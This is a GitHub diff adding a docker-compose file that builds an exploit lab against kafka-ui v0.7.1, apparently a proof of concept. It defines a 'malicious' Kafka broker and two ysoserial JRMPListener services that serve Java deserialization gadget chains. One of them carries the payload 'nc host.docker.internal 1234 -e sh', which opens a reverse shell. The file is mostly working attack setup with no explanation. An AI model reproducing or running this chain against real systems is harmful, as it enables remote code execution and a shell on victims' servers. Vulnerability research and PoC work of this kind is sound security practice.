File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ version : ' 3'
2+ services :
3+ zookeeper :
4+ image : ' confluentinc/cp-zookeeper:7.6.1'
5+ environment :
6+ ZOOKEEPER_CLIENT_PORT : 2181
7+
8+ kafka :
9+ image : ' confluentinc/cp-kafka:7.6.1'
10+ depends_on :
11+ - zookeeper
12+ ports :
13+ - 9092:9092
14+ environment :
15+ KAFKA_ZOOKEEPER_CONNECT : ' zookeeper:2181'
16+ KAFKA_ADVERTISED_LISTENERS : PLAINTEXT://kafka:9092
17+ KAFKA_LISTENER_SECURITY_PROTOCOL_MAP : PLAINTEXT:PLAINTEXT
18+ KAFKA_INTER_BROKER_LISTENER_NAME : PLAINTEXT
19+
20+ kafka-ui :
21+ image : provectuslabs/kafka-ui:v0.7.1
22+ depends_on :
23+ - kafka
24+ ports :
25+ - 8091:8080
26+ - 5005:5005
27+ environment :
28+ KAFKA_CLUSTERS_0_NAME : local
29+ KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS : ' kafka:9092'
30+ KAFKA_CLUSTERS_0_ZOOKEEPER : ' zookeeper:2181'
31+ DYNAMIC_CONFIG_ENABLED : ' true'
32+ JAVA_TOOL_OPTIONS : ' -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005'
33+
34+ kafka-malicious-broker :
35+ image : ' confluentinc/cp-kafka:7.6.1'
36+ depends_on :
37+ - zookeeper
38+ ports :
39+ - 9093:9093
40+ environment :
41+ KAFKA_ZOOKEEPER_CONNECT : ' zookeeper:2181'
42+ KAFKA_ADVERTISED_LISTENERS : PLAINTEXT://host.docker.internal:9093
43+ KAFKA_LISTENER_SECURITY_PROTOCOL_MAP : PLAINTEXT:PLAINTEXT
44+ KAFKA_INTER_BROKER_LISTENER_NAME : PLAINTEXT
45+
46+ ysoserial-stage1 :
47+ build : https://github.com/artsploit/ysoserial.git#scala1
48+ ports :
49+ - 1718:1718
50+ entrypoint : java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
51+
52+ ysoserial-stage2 :
53+ build : https://github.com/artsploit/ysoserial.git#scala1
54+ ports :
55+ - 1719:1719
56+ entrypoint : java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"
You can’t perform that action at this time.
0 commit comments